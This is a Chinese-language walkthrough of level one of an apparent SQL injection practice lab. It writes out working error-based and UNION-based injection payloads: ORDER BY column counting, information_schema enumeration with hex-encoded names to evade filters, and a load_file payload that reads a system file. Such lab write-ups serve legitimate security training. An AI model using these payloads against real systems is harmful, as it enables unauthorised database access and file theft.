第一关:
点击后出现以下界面:
如未出现Your Login name:
You Password:
则在网址中app.后加入
mituan.zone/Less-1/?id=1
推荐HackBar插件可以更加直观的编写代码执行
试一下参数
输入'
发现无返回数据说明‘进入了select查询语句(发现注入点)
利用 order by 语句排列发现排列4列时报错得出只有3列
1' order by 3%23
注:在网页中空格是%20,单引号是%27, 井号是%23,双引号是%22有时网页会屏蔽特殊字符
得到了列数我们即可用union联合查询查出我们想要的数据
Select user()-------获得当前登陆账号
Select version() ---获得数据库版本
Select database()---获得当前数据库
@@datadir----(数据库的存储路径)
@@hostname----(数据库主机名)
@@VERSION-----(数据库版本号)
@@Version_compile_os-----(数据库的操作系统版本)
' union select null,load_file('c:/windows/win.ini')------(读取文件)
concat_ws(char(32,58,32),1,2,3)-------连接字符串
例如:搜索当前登录账号以及数据库版本号
-1' union select 1,user(),version()%23
使用mysql的数据库information_schema, 里面记录所有数据库名,数据库的表,列的数据类型等
-1' union select 1,2,table_name from information_schema.tables where table_schema=0x7365637572697479 limit 1,1%23
注:我们通常将数据库名,表名转换成16进制防止网页报错或拦截
-1' union select 1,1,column_name from information_schema.columns where table_schema=0x7365637572697479 and table_name=0x7573657273 limit 1,1 %23
MySql拼接语句(group_concat)
group_concat([DISTINCT] 要连接的字段 [Order BY ASC/DESC 排序字段] [separator '分隔符'])